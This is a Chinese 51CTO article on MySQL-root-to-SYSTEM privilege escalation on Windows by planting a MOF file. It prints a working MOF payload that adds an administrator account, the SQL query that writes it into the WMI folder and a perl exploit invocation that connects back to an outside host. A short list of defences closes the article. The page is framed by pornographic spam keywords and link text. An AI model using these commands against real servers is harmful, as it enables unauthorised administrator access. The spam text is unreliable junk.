成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

原創(chuàng)
安全 數(shù)據(jù)安全 應(yīng)用安全
MySQL Root權(quán)限MOF方法提權(quán)是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit,簡稱mysql遠(yuǎn)程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。

【51CTO.com原創(chuàng)稿件】MySQL Root權(quán)限MOF方法提權(quán)是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱mysql遠(yuǎn)程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法1:運(yùn)行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運(yùn)行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因?yàn)榇斯δ芸赡懿粫峁┰趯淼陌姹竞?,不?yīng)使用。注意使用MOF方法提權(quán)的前提是當(dāng)前Root帳號可以復(fù)制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!

001漏洞利用方法分析

該漏洞的利用前提條件是必須具備mysql的root權(quán)限,在Kingcope公布的0day中公布了一個pl利用腳本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100為mysql數(shù)據(jù)庫所在服務(wù)器,mysql口令為空,反彈到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

將以下代碼保存為nullevt.mof文件:

  1. #pragma namespace("\\\\.\\root\\subscription")  
  2.  
  3. instance of __EventFilter as $EventFilter  
  4. {  
  5.     EventNamespace = "Root\\Cimv2";  
  6.     Name  = "filtP2";  
  7.     Query = "Select * From __InstanceModificationEvent "  
  8.             "Where TargetInstance Isa \"Win32_LocalTime\" "  
  9.             "And TargetInstance.Second = 5";  
  10.     QueryLanguage = "WQL";  
  11. };  
  12.  
  13. instance of ActiveScriptEventConsumer as $Consumer  
  14. {  
  15.     Name = "consPCSV2";  
  16.     ScriptingEngine = "JScript";  
  17.     ScriptText =  
  18.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
  19. };  
  20.  
  21. instance of __FilterToConsumerBinding  
  22. {  
  23.     Consumer   = $Consumer;  
  24.     Filter = $EventFilter;  
  25. }; 

2.通過Mysql查詢將文件導(dǎo)入

執(zhí)行以下查詢語句,將上面生成的nullevt.mof導(dǎo)入到c:\windows\system32\wbem\mof\目錄下在windows7中默認(rèn)是拒絕訪問的。導(dǎo)入后系統(tǒng)會自動運(yùn)行,執(zhí)行命令。

  1. select load_file('C:\\RECYCLER\\nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

002實(shí)戰(zhàn)利用

1.實(shí)驗(yàn)環(huán)境

本次實(shí)驗(yàn)環(huán)境為Windows2003+Apache+PHP,已經(jīng)擁有Webshell權(quán)限。

2.上傳文件到可寫目錄

將nullevt.mof文件上傳到服務(wù)器可寫目錄,例如C:\RECYCLER\,如圖5-4所示。

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

上傳文件nullevt.mof

3.執(zhí)行命令

配置好中國菜刀,然后通過數(shù)據(jù)庫管理,執(zhí)行查詢命令,在執(zhí)行查詢命令前需要先選擇一下數(shù)據(jù)庫,然后將以下代碼復(fù)制到查詢語句輸入框中,如圖5-5所示。

select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

執(zhí)行查詢命令

4.查看執(zhí)行結(jié)果

執(zhí)行完畢后需要修改添加用戶命令為將用戶添加到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳并查詢,如圖5-6所示,通過net user查看,果然admin已被添加到系統(tǒng)中。

技術(shù)干貨:MySQL數(shù)據(jù)庫Root權(quán)限MOF方法提權(quán)研究

添加用戶成功

003防范方法

Mysql Root權(quán)限MOF方法提權(quán)其前提條件是能夠?qū)⑸蟼鞯膎ullevt.mof復(fù)制到系統(tǒng)目錄下,例如c:\windows\system32\wbem\mof中,如果無法復(fù)制則會提權(quán)失敗。一般對Windows2003以下操作系統(tǒng)效果較好,Windows2008以上由于保護(hù)機(jī)制,較少能夠成功。因此可以采取以下措施進(jìn)行防范:

1.在程序數(shù)據(jù)庫連接文件中盡量不要使用Root帳號進(jìn)行連接。

2.Root帳號使用強(qiáng)加密方式,采用字母大小寫+數(shù)字+特殊字符,密碼位數(shù)15位以上。

3.對Mysql數(shù)據(jù)庫的mysql數(shù)據(jù)庫目錄權(quán)限嚴(yán)格限制,IIS用戶無法讀寫該文件。

4. 操作系統(tǒng)目錄c:\windows\system32\wbem禁止寫入。

【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為51CTO.com】

責(zé)任編輯:藍(lán)雨淚 來源: 51CTO.com
相關(guān)推薦

2017-02-28 09:34:21

2017-03-07 08:50:17

2017-02-16 10:00:46

2010-12-10 15:23:49

Linux漏洞

2017-04-17 19:48:51

2009-07-25 16:52:29

2017-11-08 10:20:10

2019-05-31 12:13:49

MySQL數(shù)據(jù)庫安全

2016-11-14 13:50:56

2016-12-12 09:11:20

2011-03-07 11:36:23

FileZillaSe

2025-06-19 09:22:45

2017-04-07 09:46:16

2021-11-12 15:42:34

MySQL數(shù)據(jù)庫權(quán)限

2018-07-03 15:05:34

數(shù)據(jù)庫Oracle數(shù)據(jù)提取

2011-04-07 15:02:02

LinuxMySQL數(shù)據(jù)庫

2018-06-21 14:50:00

2010-05-18 16:58:31

MySQL數(shù)據(jù)庫

2011-08-23 17:45:54

MySQL丟失root密碼

2017-03-14 13:57:15

數(shù)據(jù)庫權(quán)限分配探討
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 国产精品成人国产乱 | 国产欧美视频一区二区 | 久久久精品综合 | 久久久久久一区 | 国产综合精品一区二区三区 | 91视在线国内在线播放酒店 | 亚洲欧美男人天堂 | 国产精品久久久久久久久久久久午夜片 | 欧美激情国产精品 | 亚洲精品一区在线观看 | 午夜免费在线观看 | 成年人视频在线免费观看 | 五月天激情电影 | 欧洲一级视频 | 国产区高清 | 成人免费精品 | 日日干日日操 | 不卡的av一区| 国产精品2区| 91精品国产91久久久久久最新 | 久久国产综合 | 夜夜精品浪潮av一区二区三区 | 欧美在线一区二区三区 | 草草影院ccyy | 成人av免费 | 偷拍自拍网站 | 国产精品美女 | 插插插干干干 | 国产乱精品一区二区三区 | 国产精品一区二区不卡 | h片在线看 | 国产福利免费视频 | 精品久久久久久一区二区 | 日韩欧美在线播放 | 日韩电影免费在线观看中文字幕 | 亚洲欧美日韩在线不卡 | 精品视频在线一区 | 毛片免费视频 | 精品久久久久香蕉网 | 91天堂网| 第四色影音先锋 |